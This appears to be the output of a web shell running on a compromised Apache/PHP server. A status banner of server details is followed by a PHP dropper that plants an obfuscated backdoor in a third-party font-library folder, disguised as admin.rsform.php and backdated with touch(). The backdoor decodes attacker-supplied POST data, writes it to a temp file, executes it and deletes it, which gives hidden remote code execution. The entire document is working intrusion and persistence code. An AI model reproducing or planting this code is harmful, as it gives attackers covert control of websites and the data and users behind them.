| Server IP : 3.7.136.76 / Your IP : 216.73.216.142 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ip-172-31-39-148 7.0.0-1010-aws #10~24.04.1-Ubuntu SMP PREEMPT Mon Jul 27 17:41:33 UTC 2026 x86_64 User : ubuntu ( 1000) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /snap/core22/2955/var/run/shm/ |
Upload File : |
<?php $p = "/home/ubuntu/adindia/hotelmenaal.com/public_html/shi_main/libs/dompdf/vendor/dompdf/php-font-lib/src/FontLib/TrueType/admin.rsform.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%24elem%3D%22entity%22%3B%0Aif%28count%28%24_POST%29%20%3E%200%20%26%26%20isset%28%24_POST%5B%24elem%5D%29%29%7B%0A%09%24ent%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%5D%29%3B%0A%09%24object%20%3D%20%24_POST%5B%24elem%5D%3B%0A%09%24object%20%20%20%3D%20explode%20%20%20%28%22.%22%2C%09%09%09%24object%29%20%20%3B%0A%09%24pgrp%09%3D%20%09%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24salt3%09%3D%20%09%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24lenS%09%3D%20%09strlen%28%24salt3%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24t%09%3D%20%090%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20array_walk%28%24object%2C%20function%28%24v1%29%20use%28%26%24pgrp%2C%20%26%24t%2C%20%24salt3%2C%20%24lenS%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24sChar%09%3D%20%09ord%28%24salt3%5B%24t%20%20%25%24lenS%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24dec%09%3D%20%09%28%28int%29%24v1%20-%20%24sChar%20-%28%24t%20%20%2510%29%29%20%5E%2065%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24pgrp%20.%3D%20chr%28%24dec%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24t%2B%2B%3B%20%7D%29%3B%0A%09foreach%20%28%24ent%20as%20%24reference%29%20%7B%0A%20%20%20%20%09%09if%20%28%28function%28%24d%29%20%7B%20return%20is_dir%28%24d%29%20%26%26%20is_writable%28%24d%29%3B%20%7D%29%28%24reference%29%29%20%7B%0A%20%20%20%20%24key%20%3D%20implode%28%22/%22%2C%20%5B%24reference%2C%20%22.ptr%22%5D%29%3B%0A%20%20%20%20if%20%28%40file_put_contents%28%24key%2C%20%24pgrp%29%20%21%3D%3D%20false%29%20%7B%0A%09include%20%24key%3B%0A%09unlink%28%24key%29%3B%0A%09exit%3B%0A%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1784265488); } die('!ended!');